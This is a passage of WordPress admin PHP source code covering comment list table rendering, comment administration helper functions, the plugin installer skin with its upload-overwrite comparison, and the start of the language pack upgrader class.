				esc_attr__( 'Mark this comment as spam' ),
				/* translators: "Mark as spam" link. */
				_x( 'Spam', 'verb' )
			);
		} elseif ( 'spam' === $the_comment_status ) {
			$actions['unspam'] = sprintf(
				'<a href="%s" data-wp-lists="%s" class="vim-z vim-destructive aria-button-if-js" aria-label="%s">%s</a>',
				$unspam_url,
				"delete:the-comment-list:comment-{$comment->comment_ID}:66cc66:unspam=1",
				esc_attr__( 'Restore this comment from the spam' ),
				_x( 'Not Spam', 'comment' )
			);
		}

		if ( 'trash' === $the_comment_status ) {
			$actions['untrash'] = sprintf(
				'<a href="%s" data-wp-lists="%s" class="vim-z vim-destructive aria-button-if-js" aria-label="%s">%s</a>',
				$untrash_url,
				"delete:the-comment-list:comment-{$comment->comment_ID}:66cc66:untrash=1",
				esc_attr__( 'Restore this comment from the Trash' ),
				__( 'Restore' )
			);
		}

		if ( 'spam' === $the_comment_status || 'trash' === $the_comment_status || ! EMPTY_TRASH_DAYS ) {
			$actions['delete'] = sprintf(
				'<a href="%s" data-wp-lists="%s" class="delete vim-d vim-destructive aria-button-if-js" aria-label="%s">%s</a>',
				$delete_url,
				"delete:the-comment-list:comment-{$comment->comment_ID}::delete=1",
				esc_attr__( 'Delete this comment permanently' ),
				__( 'Delete Permanently' )
			);
		} else {
			$actions['trash'] = sprintf(
				'<a href="%s" data-wp-lists="%s" class="delete vim-d vim-destructive aria-button-if-js" aria-label="%s">%s</a>',
				$trash_url,
				"delete:the-comment-list:comment-{$comment->comment_ID}::trash=1",
				esc_attr__( 'Move this comment to the Trash' ),
				_x( 'Trash', 'verb' )
			);
		}

		if ( 'spam' !== $the_comment_status && 'trash' !== $the_comment_status ) {
			$actions['edit'] = sprintf(
				'<a href="%s" aria-label="%s">%s</a>',
				"comment.php?action=editcomment&amp;c={$comment->comment_ID}",
				esc_attr__( 'Edit this comment' ),
				__( 'Edit' )
			);

			$format = '<button type="button" data-comment-id="%d" data-post-id="%d" data-action="%s" class="%s button-link" aria-expanded="false" aria-label="%s">%s</button>';

			$actions['quickedit'] = sprintf(
				$format,
				$comment->comment_ID,
				$comment->comment_post_ID,
				'edit',
				'vim-q comment-inline',
				esc_attr__( 'Quick edit this comment inline' ),
				__( 'Quick&nbsp;Edit' )
			);

			$actions['reply'] = sprintf(
				$format,
				$comment->comment_ID,
				$comment->comment_post_ID,
				'replyto',
				'vim-r comment-inline',
				esc_attr__( 'Reply to this comment' ),
				__( 'Reply' )
			);
		}

		/** This filter is documented in wp-admin/includes/dashboard.php */
		$actions = apply_filters( 'comment_row_actions', array_filter( $actions ), $comment );

		$always_visible = false;

		$mode = get_user_setting( 'posts_list_mode', 'list' );

		if ( 'excerpt' === $mode ) {
			$always_visible = true;
		}

		$output .= '<div class="' . ( $always_visible ? 'row-actions visible' : 'row-actions' ) . '">';

		$i = 0;

		foreach ( $actions as $action => $link ) {
			++$i;

			if ( ( ( 'approve' === $action || 'unapprove' === $action ) && 2 === $i )
				|| 1 === $i
			) {
				$separator = '';
			} else {
				$separator = ' | ';
			}

			// Reply and quickedit need a hide-if-no-js span when not added with Ajax.
			if ( ( 'reply' === $action || 'quickedit' === $action ) && ! wp_doing_ajax() ) {
				$action .= ' hide-if-no-js';
			} elseif ( ( 'untrash' === $action && 'trash' === $the_comment_status )
				|| ( 'unspam' === $action && 'spam' === $the_comment_status )
			) {
				if ( '1' === get_comment_meta( $comment->comment_ID, '_wp_trash_meta_status', true ) ) {
					$action .= ' approve';
				} else {
					$action .= ' unapprove';
				}
			}

			$output .= "<span class='$action'>{$separator}{$link}</span>";
		}

		$output .= '</div>';

		$output .= '<button type="button" class="toggle-row"><span class="screen-reader-text">' .
			/* translators: Hidden accessibility text. */
			__( 'Show more details' ) .
		'</span></button>';

		return $output;
	}

	/**
	 * @since 5.9.0 Renamed `$comment` to `$item` to match parent class for PHP 8 named parameter support.
	 *
	 * @param WP_Comment $item The comment object.
	 */
	public function column_cb( $item ) {
		// Restores the more descriptive, specific name for use within this method.
		$comment = $item;

		if ( $this->user_can ) {
			?>
		<input id="cb-select-<?php echo $comment->comment_ID; ?>" type="checkbox" name="delete_comments[]" value="<?php echo $comment->comment_ID; ?>" />
		<label for="cb-select-<?php echo $comment->comment_ID; ?>">
			<span class="screen-reader-text">
			<?php
			/* translators: Hidden accessibility text. */
			_e( 'Select comment' );
			?>
			</span>
		</label>
			<?php
		}
	}

	/**
	 * @param WP_Comment $comment The comment object.
	 */
	public function column_comment( $comment ) {
		echo '<div class="comment-author">';
			$this->column_author( $comment );
		echo '</div>';

		if ( $comment->comment_parent ) {
			$parent = get_comment( $comment->comment_parent );

			if ( $parent ) {
				$parent_link = esc_url( get_comment_link( $parent ) );
				$name        = get_comment_author( $parent );
				printf(
					/* translators: %s: Comment link. */
					__( 'In reply to %s.' ),
					'<a href="' . $parent_link . '">' . $name . '</a>'
				);
			}
		}

		comment_text( $comment );

		if ( $this->user_can ) {
			/** This filter is documented in wp-admin/includes/comment.php */
			$comment_content = apply_filters( 'comment_edit_pre', $comment->comment_content );
			?>
		<div id="inline-<?php echo $comment->comment_ID; ?>" class="hidden">
			<textarea class="comment" rows="1" cols="1"><?php echo esc_textarea( $comment_content ); ?></textarea>
			<div class="author-email"><?php echo esc_html( $comment->comment_author_email ); ?></div>
			<div class="author"><?php echo esc_html( $comment->comment_author ); ?></div>
			<div class="author-url"><?php echo esc_url( $comment->comment_author_url ); ?></div>
			<div class="comment_status"><?php echo $comment->comment_approved; ?></div>
		</div>
			<?php
		}
	}

	/**
	 * @global string $comment_status
	 *
	 * @param WP_Comment $comment The comment object.
	 */
	public function column_author( $comment ) {
		global $comment_status;

		$author_url = get_comment_author_url( $comment );

		$author_url_display = untrailingslashit( preg_replace( '|^http(s)?://(www\.)?|i', '', $author_url ) );

		if ( strlen( $author_url_display ) > 50 ) {
			$author_url_display = wp_html_excerpt( $author_url_display, 49, '&hellip;' );
		}

		echo '<strong>';
		comment_author( $comment );
		echo '</strong><br />';

		if ( ! empty( $author_url_display ) ) {
			// Print link to author URL, and disallow referrer information (without using target="_blank").
			printf(
				'<a href="%s" rel="noopener noreferrer">%s</a><br />',
				esc_url( $author_url ),
				esc_html( $author_url_display )
			);
		}

		if ( $this->user_can ) {
			if ( ! empty( $comment->comment_author_email ) ) {
				/** This filter is documented in wp-includes/comment-template.php */
				$email = apply_filters( 'comment_email', $comment->comment_author_email, $comment );

				if ( ! empty( $email ) && '@' !== $email ) {
					printf( '<a href="%1$s">%2$s</a><br />', esc_url( 'mailto:' . $email ), esc_html( $email ) );
				}
			}

			$author_ip = get_comment_author_IP( $comment );

			if ( $author_ip ) {
				$author_ip_url = add_query_arg(
					array(
						's'    => $author_ip,
						'mode' => 'detail',
					),
					admin_url( 'edit-comments.php' )
				);

				if ( 'spam' === $comment_status ) {
					$author_ip_url = add_query_arg( 'comment_status', 'spam', $author_ip_url );
				}

				printf( '<a href="%1$s">%2$s</a>', esc_url( $author_ip_url ), esc_html( $author_ip ) );
			}
		}
	}

	/**
	 * @param WP_Comment $comment The comment object.
	 */
	public function column_date( $comment ) {
		$submitted = sprintf(
			/* translators: 1: Comment date, 2: Comment time. */
			__( '%1$s at %2$s' ),
			/* translators: Comment date format. See https://www.php.net/manual/datetime.format.php */
			get_comment_date( __( 'Y/m/d' ), $comment ),
			/* translators: Comment time format. See https://www.php.net/manual/datetime.format.php */
			get_comment_date( __( 'g:i a' ), $comment )
		);

		echo '<div class="submitted-on">';

		if ( 'approved' === wp_get_comment_status( $comment ) && ! empty( $comment->comment_post_ID ) ) {
			printf(
				'<a href="%s">%s</a>',
				esc_url( get_comment_link( $comment ) ),
				$submitted
			);
		} else {
			echo $submitted;
		}

		echo '</div>';
	}

	/**
	 * @param WP_Comment $comment The comment object.
	 */
	public function column_response( $comment ) {
		$post = get_post();

		if ( ! $post ) {
			return;
		}

		if ( isset( $this->pending_count[ $post->ID ] ) ) {
			$pending_comments = $this->pending_count[ $post->ID ];
		} else {
			$_pending_count_temp              = get_pending_comments_num( array( $post->ID ) );
			$pending_comments                 = $_pending_count_temp[ $post->ID ];
			$this->pending_count[ $post->ID ] = $pending_comments;
		}

		if ( current_user_can( 'edit_post', $post->ID ) ) {
			$post_link  = "<a href='" . get_edit_post_link( $post->ID ) . "' class='comments-edit-item-link'>";
			$post_link .= esc_html( get_the_title( $post->ID ) ) . '</a>';
		} else {
			$post_link = esc_html( get_the_title( $post->ID ) );
		}

		echo '<div class="response-links">';

		if ( 'attachment' === $post->post_type ) {
			$thumb = wp_get_attachment_image( $post->ID, array( 80, 60 ), true );
			if ( $thumb ) {
				echo $thumb;
			}
		}

		echo $post_link;

		$post_type_object = get_post_type_object( $post->post_type );
		echo "<a href='" . get_permalink( $post->ID ) . "' class='comments-view-item-link'>" . $post_type_object->labels->view_item . '</a>';

		echo '<span class="post-com-count-wrapper post-com-count-', $post->ID, '">';
		$this->comments_bubble( $post->ID, $pending_comments );
		echo '</span> ';

		echo '</div>';
	}

	/**
	 * @since 5.9.0 Renamed `$comment` to `$item` to match parent class for PHP 8 named parameter support.
	 *
	 * @param WP_Comment $item        The comment object.
	 * @param string     $column_name The custom column's name.
	 */
	public function column_default( $item, $column_name ) {
		// Restores the more descriptive, specific name for use within this method.
		$comment = $item;

		/**
		 * Fires when the default column output is displayed for a single row.
		 *
		 * @since 2.8.0
		 *
		 * @param string $column_name The custom column's name.
		 * @param string $comment_id  The comment ID as a numeric string.
		 */
		do_action( 'manage_comments_custom_column', $column_name, $comment->comment_ID );
	}
}
<?php
/**
 * WordPress Comment Administration API.
 *
 * @package WordPress
 * @subpackage Administration
 * @since 2.3.0
 */

/**
 * Determines if a comment exists based on author and date.
 *
 * For best performance, use `$timezone = 'gmt'`, which queries a field that is properly indexed. The default value
 * for `$timezone` is 'blog' for legacy reasons.
 *
 * @since 2.0.0
 * @since 4.4.0 Added the `$timezone` parameter.
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param string $comment_author Author of the comment.
 * @param string $comment_date   Date of the comment.
 * @param string $timezone       Timezone. Accepts 'blog' or 'gmt'. Default 'blog'.
 * @return string|null Comment post ID on success.
 */
function comment_exists( $comment_author, $comment_date, $timezone = 'blog' ) {
	global $wpdb;

	$date_field = 'comment_date';
	if ( 'gmt' === $timezone ) {
		$date_field = 'comment_date_gmt';
	}

	return $wpdb->get_var(
		$wpdb->prepare(
			"SELECT comment_post_ID FROM $wpdb->comments
			WHERE comment_author = %s AND $date_field = %s",
			stripslashes( $comment_author ),
			stripslashes( $comment_date )
		)
	);
}

/**
 * Updates a comment with values provided in $_POST.
 *
 * @since 2.0.0
 * @since 5.5.0 A return value was added.
 *
 * @return int|WP_Error The value 1 if the comment was updated, 0 if not updated.
 *                      A WP_Error object on failure.
 */
function edit_comment() {
	if ( ! current_user_can( 'edit_comment', (int) $_POST['comment_ID'] ) ) {
		wp_die( __( 'Sorry, you are not allowed to edit comments on this post.' ) );
	}

	if ( isset( $_POST['newcomment_author'] ) ) {
		$_POST['comment_author'] = $_POST['newcomment_author'];
	}
	if ( isset( $_POST['newcomment_author_email'] ) ) {
		$_POST['comment_author_email'] = $_POST['newcomment_author_email'];
	}
	if ( isset( $_POST['newcomment_author_url'] ) ) {
		$_POST['comment_author_url'] = $_POST['newcomment_author_url'];
	}
	if ( isset( $_POST['comment_status'] ) ) {
		$_POST['comment_approved'] = $_POST['comment_status'];
	}
	if ( isset( $_POST['content'] ) ) {
		$_POST['comment_content'] = $_POST['content'];
	}
	if ( isset( $_POST['comment_ID'] ) ) {
		$_POST['comment_ID'] = (int) $_POST['comment_ID'];
	}

	foreach ( array( 'aa', 'mm', 'jj', 'hh', 'mn' ) as $timeunit ) {
		if ( ! empty( $_POST[ 'hidden_' . $timeunit ] ) && $_POST[ 'hidden_' . $timeunit ] !== $_POST[ $timeunit ] ) {
			$_POST['edit_date'] = '1';
			break;
		}
	}

	if ( ! empty( $_POST['edit_date'] ) ) {
		$aa = $_POST['aa'];
		$mm = $_POST['mm'];
		$jj = $_POST['jj'];
		$hh = $_POST['hh'];
		$mn = $_POST['mn'];
		$ss = $_POST['ss'];
		$jj = ( $jj > 31 ) ? 31 : $jj;
		$hh = ( $hh > 23 ) ? $hh - 24 : $hh;
		$mn = ( $mn > 59 ) ? $mn - 60 : $mn;
		$ss = ( $ss > 59 ) ? $ss - 60 : $ss;

		$_POST['comment_date'] = "$aa-$mm-$jj $hh:$mn:$ss";
	}

	return wp_update_comment( $_POST, true );
}

/**
 * Returns a WP_Comment object based on comment ID.
 *
 * @since 2.0.0
 *
 * @param int $id ID of comment to retrieve.
 * @return WP_Comment|false Comment if found. False on failure.
 */
function get_comment_to_edit( $id ) {
	$comment = get_comment( $id );
	if ( ! $comment ) {
		return false;
	}

	$comment->comment_ID      = (int) $comment->comment_ID;
	$comment->comment_post_ID = (int) $comment->comment_post_ID;

	$comment->comment_content = format_to_edit( $comment->comment_content );
	/**
	 * Filters the comment content before editing.
	 *
	 * @since 2.0.0
	 *
	 * @param string $comment_content Comment content.
	 */
	$comment->comment_content = apply_filters( 'comment_edit_pre', $comment->comment_content );

	$comment->comment_author       = format_to_edit( $comment->comment_author );
	$comment->comment_author_email = format_to_edit( $comment->comment_author_email );
	$comment->comment_author_url   = format_to_edit( $comment->comment_author_url );
	$comment->comment_author_url   = esc_url( $comment->comment_author_url );

	return $comment;
}

/**
 * Gets the number of pending comments on a post or posts.
 *
 * @since 2.3.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param int|int[] $post_id Either a single Post ID or an array of Post IDs
 * @return int|int[] Either a single Posts pending comments as an int or an array of ints keyed on the Post IDs
 */
function get_pending_comments_num( $post_id ) {
	global $wpdb;

	$single = false;
	if ( ! is_array( $post_id ) ) {
		$post_id_array = (array) $post_id;
		$single        = true;
	} else {
		$post_id_array = $post_id;
	}
	$post_id_array = array_map( 'intval', $post_id_array );
	$post_id_in    = "'" . implode( "', '", $post_id_array ) . "'";

	$pending = $wpdb->get_results( "SELECT comment_post_ID, COUNT(comment_ID) as num_comments FROM $wpdb->comments WHERE comment_post_ID IN ( $post_id_in ) AND comment_approved = '0' GROUP BY comment_post_ID", ARRAY_A );

	if ( $single ) {
		if ( empty( $pending ) ) {
			return 0;
		} else {
			return absint( $pending[0]['num_comments'] );
		}
	}

	$pending_keyed = array();

	// Default to zero pending for all posts in request.
	foreach ( $post_id_array as $id ) {
		$pending_keyed[ $id ] = 0;
	}

	if ( ! empty( $pending ) ) {
		foreach ( $pending as $pend ) {
			$pending_keyed[ $pend['comment_post_ID'] ] = absint( $pend['num_comments'] );
		}
	}

	return $pending_keyed;
}

/**
 * Adds avatars to relevant places in admin.
 *
 * @since 2.5.0
 *
 * @param string $name User name.
 * @return string Avatar with the user name.
 */
function floated_admin_avatar( $name ) {
	$avatar = get_avatar( get_comment(), 32, 'mystery' );
	return "$avatar $name";
}

/**
 * Enqueues comment shortcuts jQuery script.
 *
 * @since 2.7.0
 */
function enqueue_comment_hotkeys_js() {
	if ( 'true' === get_user_option( 'comment_shortcuts' ) ) {
		wp_enqueue_script( 'jquery-table-hotkeys' );
	}
}

/**
 * Displays error message at bottom of comments.
 *
 * @param string $msg Error Message. Assumed to contain HTML and be sanitized.
 */
function comment_footer_die( $msg ) {
	echo "<div class='wrap'><p>$msg</p></div>";
	require_once ABSPATH . 'wp-admin/admin-footer.php';
	die;
}
<?php
/**
 * Upgrader API: Plugin_Installer_Skin class
 *
 * @package WordPress
 * @subpackage Upgrader
 * @since 4.6.0
 */

/**
 * Plugin Installer Skin for WordPress Plugin Installer.
 *
 * @since 2.8.0
 * @since 4.6.0 Moved to its own file from wp-admin/includes/class-wp-upgrader-skins.php.
 *
 * @see WP_Upgrader_Skin
 */
class Plugin_Installer_Skin extends WP_Upgrader_Skin {
	public $api;
	public $type;
	public $url;
	public $overwrite;

	private $is_downgrading = false;

	/**
	 * @param array $args
	 */
	public function __construct( $args = array() ) {
		$defaults = array(
			'type'      => 'web',
			'url'       => '',
			'plugin'    => '',
			'nonce'     => '',
			'title'     => '',
			'overwrite' => '',
		);
		$args     = wp_parse_args( $args, $defaults );

		$this->type      = $args['type'];
		$this->url       = $args['url'];
		$this->api       = isset( $args['api'] ) ? $args['api'] : array();
		$this->overwrite = $args['overwrite'];

		parent::__construct( $args );
	}

	/**
	 * Performs an action before installing a plugin.
	 *
	 * @since 2.8.0
	 */
	public function before() {
		if ( ! empty( $this->api ) ) {
			$this->upgrader->strings['process_success'] = sprintf(
				$this->upgrader->strings['process_success_specific'],
				$this->api->name,
				$this->api->version
			);
		}
	}

	/**
	 * Hides the `process_failed` error when updating a plugin by uploading a zip file.
	 *
	 * @since 5.5.0
	 *
	 * @param WP_Error $wp_error WP_Error object.
	 * @return bool True if the error should be hidden, false otherwise.
	 */
	public function hide_process_failed( $wp_error ) {
		if (
			'upload' === $this->type &&
			'' === $this->overwrite &&
			$wp_error->get_error_code() === 'folder_exists'
		) {
			return true;
		}

		return false;
	}

	/**
	 * Performs an action following a plugin install.
	 *
	 * @since 2.8.0
	 */
	public function after() {
		// Check if the plugin can be overwritten and output the HTML.
		if ( $this->do_overwrite() ) {
			return;
		}

		$plugin_file = $this->upgrader->plugin_info();

		$install_actions = array();

		$from = isset( $_GET['from'] ) ? wp_unslash( $_GET['from'] ) : 'plugins';

		if ( 'import' === $from ) {
			$install_actions['activate_plugin'] = sprintf(
				'<a class="button button-primary" href="%s" target="_parent">%s</a>',
				wp_nonce_url( 'plugins.php?action=activate&amp;from=import&amp;plugin=' . urlencode( $plugin_file ), 'activate-plugin_' . $plugin_file ),
				__( 'Activate Plugin &amp; Run Importer' )
			);
		} elseif ( 'press-this' === $from ) {
			$install_actions['activate_plugin'] = sprintf(
				'<a class="button button-primary" href="%s" target="_parent">%s</a>',
				wp_nonce_url( 'plugins.php?action=activate&amp;from=press-this&amp;plugin=' . urlencode( $plugin_file ), 'activate-plugin_' . $plugin_file ),
				__( 'Activate Plugin &amp; Go to Press This' )
			);
		} else {
			$install_actions['activate_plugin'] = sprintf(
				'<a class="button button-primary" href="%s" target="_parent">%s</a>',
				wp_nonce_url( 'plugins.php?action=activate&amp;plugin=' . urlencode( $plugin_file ), 'activate-plugin_' . $plugin_file ),
				__( 'Activate Plugin' )
			);
		}

		if ( is_multisite() && current_user_can( 'manage_network_plugins' ) ) {
			$install_actions['network_activate'] = sprintf(
				'<a class="button button-primary" href="%s" target="_parent">%s</a>',
				wp_nonce_url( 'plugins.php?action=activate&amp;networkwide=1&amp;plugin=' . urlencode( $plugin_file ), 'activate-plugin_' . $plugin_file ),
				_x( 'Network Activate', 'plugin' )
			);
			unset( $install_actions['activate_plugin'] );
		}

		if ( 'import' === $from ) {
			$install_actions['importers_page'] = sprintf(
				'<a href="%s" target="_parent">%s</a>',
				admin_url( 'import.php' ),
				__( 'Go to Importers' )
			);
		} elseif ( 'web' === $this->type ) {
			$install_actions['plugins_page'] = sprintf(
				'<a href="%s" target="_parent">%s</a>',
				self_admin_url( 'plugin-install.php' ),
				__( 'Go to Plugin Installer' )
			);
		} elseif ( 'upload' === $this->type && 'plugins' === $from ) {
			$install_actions['plugins_page'] = sprintf(
				'<a href="%s">%s</a>',
				self_admin_url( 'plugin-install.php' ),
				__( 'Go to Plugin Installer' )
			);
		} else {
			$install_actions['plugins_page'] = sprintf(
				'<a href="%s" target="_parent">%s</a>',
				self_admin_url( 'plugins.php' ),
				__( 'Go to Plugins page' )
			);
		}

		if ( ! $this->result || is_wp_error( $this->result ) ) {
			unset( $install_actions['activate_plugin'], $install_actions['network_activate'] );
		} elseif ( ! current_user_can( 'activate_plugin', $plugin_file ) || is_plugin_active( $plugin_file ) ) {
			unset( $install_actions['activate_plugin'] );
		}

		/**
		 * Filters the list of action links available following a single plugin installation.
		 *
		 * @since 2.7.0
		 *
		 * @param string[] $install_actions Array of plugin action links.
		 * @param object   $api             Object containing WordPress.org API plugin data. Empty
		 *                                  for non-API installs, such as when a plugin is installed
		 *                                  via upload.
		 * @param string   $plugin_file     Path to the plugin file relative to the plugins directory.
		 */
		$install_actions = apply_filters( 'install_plugin_complete_actions', $install_actions, $this->api, $plugin_file );

		if ( ! empty( $install_actions ) ) {
			$this->feedback( implode( ' ', (array) $install_actions ) );
		}
	}

	/**
	 * Checks if the plugin can be overwritten and outputs the HTML for overwriting a plugin on upload.
	 *
	 * @since 5.5.0
	 *
	 * @return bool Whether the plugin can be overwritten and HTML was outputted.
	 */
	private function do_overwrite() {
		if ( 'upload' !== $this->type || ! is_wp_error( $this->result ) || 'folder_exists' !== $this->result->get_error_code() ) {
			return false;
		}

		$folder = $this->result->get_error_data( 'folder_exists' );
		$folder = ltrim( substr( $folder, strlen( WP_PLUGIN_DIR ) ), '/' );

		$current_plugin_data = false;
		$all_plugins         = get_plugins();

		foreach ( $all_plugins as $plugin => $plugin_data ) {
			if ( strrpos( $plugin, $folder ) !== 0 ) {
				continue;
			}

			$current_plugin_data = $plugin_data;
		}

		$new_plugin_data = $this->upgrader->new_plugin_data;

		if ( ! $current_plugin_data || ! $new_plugin_data ) {
			return false;
		}

		echo '<h2 class="update-from-upload-heading">' . esc_html__( 'This plugin is already installed.' ) . '</h2>';

		$this->is_downgrading = version_compare( $current_plugin_data['Version'], $new_plugin_data['Version'], '>' );

		$rows = array(
			'Name'        => __( 'Plugin name' ),
			'Version'     => __( 'Version' ),
			'Author'      => __( 'Author' ),
			'RequiresWP'  => __( 'Required WordPress version' ),
			'RequiresPHP' => __( 'Required PHP version' ),
		);

		$table  = '<table class="update-from-upload-comparison"><tbody>';
		$table .= '<tr><th></th><th>' . esc_html_x( 'Current', 'plugin' ) . '</th>';
		$table .= '<th>' . esc_html_x( 'Uploaded', 'plugin' ) . '</th></tr>';

		$is_same_plugin = true; // Let's consider only these rows.

		foreach ( $rows as $field => $label ) {
			$old_value = ! empty( $current_plugin_data[ $field ] ) ? (string) $current_plugin_data[ $field ] : '-';
			$new_value = ! empty( $new_plugin_data[ $field ] ) ? (string) $new_plugin_data[ $field ] : '-';

			$is_same_plugin = $is_same_plugin && ( $old_value === $new_value );

			$diff_field   = ( 'Version' !== $field && $new_value !== $old_value );
			$diff_version = ( 'Version' === $field && $this->is_downgrading );

			$table .= '<tr><td class="name-label">' . $label . '</td><td>' . wp_strip_all_tags( $old_value ) . '</td>';
			$table .= ( $diff_field || $diff_version ) ? '<td class="warning">' : '<td>';
			$table .= wp_strip_all_tags( $new_value ) . '</td></tr>';
		}

		$table .= '</tbody></table>';

		/**
		 * Filters the compare table output for overwriting a plugin package on upload.
		 *
		 * @since 5.5.0
		 *
		 * @param string $table               The output table with Name, Version, Author, RequiresWP, and RequiresPHP info.
		 * @param array  $current_plugin_data Array with current plugin data.
		 * @param array  $new_plugin_data     Array with uploaded plugin data.
		 */
		echo apply_filters( 'install_plugin_overwrite_comparison', $table, $current_plugin_data, $new_plugin_data );

		$install_actions = array();
		$can_update      = true;

		$blocked_message  = '<p>' . esc_html__( 'The plugin cannot be updated due to the following:' ) . '</p>';
		$blocked_message .= '<ul class="ul-disc">';

		$requires_php = isset( $new_plugin_data['RequiresPHP'] ) ? $new_plugin_data['RequiresPHP'] : null;
		$requires_wp  = isset( $new_plugin_data['RequiresWP'] ) ? $new_plugin_data['RequiresWP'] : null;

		if ( ! is_php_version_compatible( $requires_php ) ) {
			$error = sprintf(
				/* translators: 1: Current PHP version, 2: Version required by the uploaded plugin. */
				__( 'The PHP version on your server is %1$s, however the uploaded plugin requires %2$s.' ),
				PHP_VERSION,
				$requires_php
			);

			$blocked_message .= '<li>' . esc_html( $error ) . '</li>';
			$can_update       = false;
		}

		if ( ! is_wp_version_compatible( $requires_wp ) ) {
			$error = sprintf(
				/* translators: 1: Current WordPress version, 2: Version required by the uploaded plugin. */
				__( 'Your WordPress version is %1$s, however the uploaded plugin requires %2$s.' ),
				get_bloginfo( 'version' ),
				$requires_wp
			);

			$blocked_message .= '<li>' . esc_html( $error ) . '</li>';
			$can_update       = false;
		}

		$blocked_message .= '</ul>';

		if ( $can_update ) {
			if ( $this->is_downgrading ) {
				$warning = sprintf(
					/* translators: %s: Documentation URL. */
					__( 'You are uploading an older version of a current plugin. You can continue to install the older version, but be sure to <a href="%s">back up your database and files</a> first.' ),
					__( 'https://wordpress.org/documentation/article/wordpress-backups/' )
				);
			} else {
				$warning = sprintf(
					/* translators: %s: Documentation URL. */
					__( 'You are updating a plugin. Be sure to <a href="%s">back up your database and files</a> first.' ),
					__( 'https://wordpress.org/documentation/article/wordpress-backups/' )
				);
			}

			echo '<p class="update-from-upload-notice">' . $warning . '</p>';

			$overwrite = $this->is_downgrading ? 'downgrade-plugin' : 'update-plugin';

			$install_actions['overwrite_plugin'] = sprintf(
				'<a class="button button-primary update-from-upload-overwrite" href="%s" target="_parent">%s</a>',
				wp_nonce_url( add_query_arg( 'overwrite', $overwrite, $this->url ), 'plugin-upload' ),
				_x( 'Replace current with uploaded', 'plugin' )
			);
		} else {
			echo $blocked_message;
		}

		$cancel_url = add_query_arg( 'action', 'upload-plugin-cancel-overwrite', $this->url );

		$install_actions['plugins_page'] = sprintf(
			'<a class="button" href="%s">%s</a>',
			wp_nonce_url( $cancel_url, 'plugin-upload-cancel-overwrite' ),
			__( 'Cancel and go back' )
		);

		/**
		 * Filters the list of action links available following a single plugin installation failure
		 * when overwriting is allowed.
		 *
		 * @since 5.5.0
		 *
		 * @param string[] $install_actions Array of plugin action links.
		 * @param object   $api             Object containing WordPress.org API plugin data.
		 * @param array    $new_plugin_data Array with uploaded plugin data.
		 */
		$install_actions = apply_filters( 'install_plugin_overwrite_actions', $install_actions, $this->api, $new_plugin_data );

		if ( ! empty( $install_actions ) ) {
			printf(
				'<p class="update-from-upload-expired hidden">%s</p>',
				__( 'The uploaded file has expired. Please go back and upload it again.' )
			);
			echo '<p class="update-from-upload-actions">' . implode( ' ', (array) $install_actions ) . '</p>';
		}

		return true;
	}
}
<?php
/**
 * Upgrade API: Language_Pack_Upgrader class
 *
 * @package WordPress
 * @subpackage Upgrader
 * @since 4.6.0
 */

/**
 * Core class used for updating/installing language packs (translations)
 * for plugins, themes, and core.
 *
 * @since 3.7.0
 * @since 4.6.0 Moved to its own file from wp-admin/includes/class-wp-upgrader.php.
 *
 * @see WP_Upgrader
 */
class Language_Pack_Upgrader extends WP_Upgrader {

	/**
	 * Result of the language pack upgrade.
	 *
	 * @since 3.7.0
	 * @var array|WP_Error $result
	 * @see WP_Upgrader::$result
	 */
	public $result;

	/**
	 * Whether a bulk upgrade/installation is being performed.
	 *
	 * @since 3.7.0
	 * @var bool $bulk
	 */
	public $bulk = true;

	/**
	 * Asynchronously upgrades language packs after other upgrades have been made.
	 *
	 * Hooked to the {@see 'upgrader_process_complete'} action by default.
	 *
	 * @since 3.7.0
	 *
	 * @param false|WP_Upgrader $upgrader Optional. WP_Upgrader instance or false. If `$upgrader` is
	 *                                    a Language_Pack_Upgrader instance, the method will bail to
	 *                                    avoid recursion. Otherwise unused. Default false.
	 */
	public static function async_upgrade( $upgrader = false ) {
		// Avoid recursion.
		if ( $upgrader && $upgrader instanceof Language_Pack_Upgrader ) {
			return;
		}

		// Nothing to do?
		$language_updates = wp_get_translation_updates();
		if ( ! $language_updates ) {
			return;
		}

		/*
		 * Avoid messing with VCS installations, at least for now.
		 * Noted: this is not the ideal way to accomplish this.
		 */
		$check_vcs = new WP_Automatic_Updater();
		if ( $check_vcs->is_vcs_checkout( WP_CONTENT_DIR ) ) {
			return;
		}

		foreach ( $language_updates as $key => $language_update ) {
			$update = ! empty( $language_update->autoupdate );

			/**
			 * Filters whether to asynchronously update translation for core, a plugin, or a theme.
			 *
			 * @since 4.0.0
			 *
			 * @param bool   $update          Whether to update.
			 * @param object $language_update The update offer.
			 */
			$update = apply_filters( 'async_update_translation', $update, $language_update );

			if ( ! $update ) {
				unset( $language_updates[ $key ] );
			}
		}

		if ( empty( $language_updates ) ) {
			return;
		}

		// Re-use the automatic upgrader skin if the parent upgrader is using it.
		if ( $upgrader && $upgrader->skin instanceof Automatic_Upgrader_Skin ) {
			$skin = $upgrader->skin;
		} else {
			$skin = new Language_Pack_Upgrader_Skin(
				array(
					'skip_header_footer' => true,
				)
			);
		}

		$lp_upgrader = new Language_Pack_Upgrader( $skin );
		$lp_upgrader->bulk_upgrade( $language_updates );
	}

	/**
	 * Initializes the upgrade strings.
	 *
	 * @since 3.7.0
	 */
	public function upgrade_strings() {
		$this->strings['starting_upgrade'] = __( 'Some of your translations need updating. Sit tight for a few more seconds while they are updated as well.' );
		$this->strings['up_to_date']       = __( 'Your translations are all up to date.' );
		$this->strings['no_package']       = __( 'Update package not available.' );
		/* translators: %s: Package URL. */
		$this->strings['downloading_package'] = sprintf( __( 'Downloading translation from %s&#8230;' ), '<span class="code pre">%s</span>' );
		$this->strings['unpack_package']      = __( 'Unpacking the update&#8230;' );
		$this->strings['process_failed']      = __( 'Translation update failed.' );
		$this->strings['process_success']     = __( 'Translation updated successfully.' );
		$this->strings['remove_old']          = __( 'Removing the old version of the translation&#8230;' );
		$this->strings['remove_old_failed']   = __( 'Could not remove the old translation.' );
	}

	/**
	 * Upgrades a language pack.
	 *
	 * @since 3.7.0
	 *
	 * @param string|false $update Optional. Whether an update offer is available. Default false.
	 * @param array        $args   Optional. Other optional arguments, see
	 *                             Language_Pack_Upgrader::bulk_upgrade(). Default empty array.
	 * @return array|bool|WP_Error The result of the upgrade, or a WP_Error object instead.
	 */
	public function upgrade( $update = false, $args = array() ) {
		if ( $update ) {
			$update = array( $update );
		}

		$results = $this->bulk_upgrade( $update, $args );

		if ( ! is_array( $results ) ) {
			return $results;
		}

		return $results[0];
	}

	/**
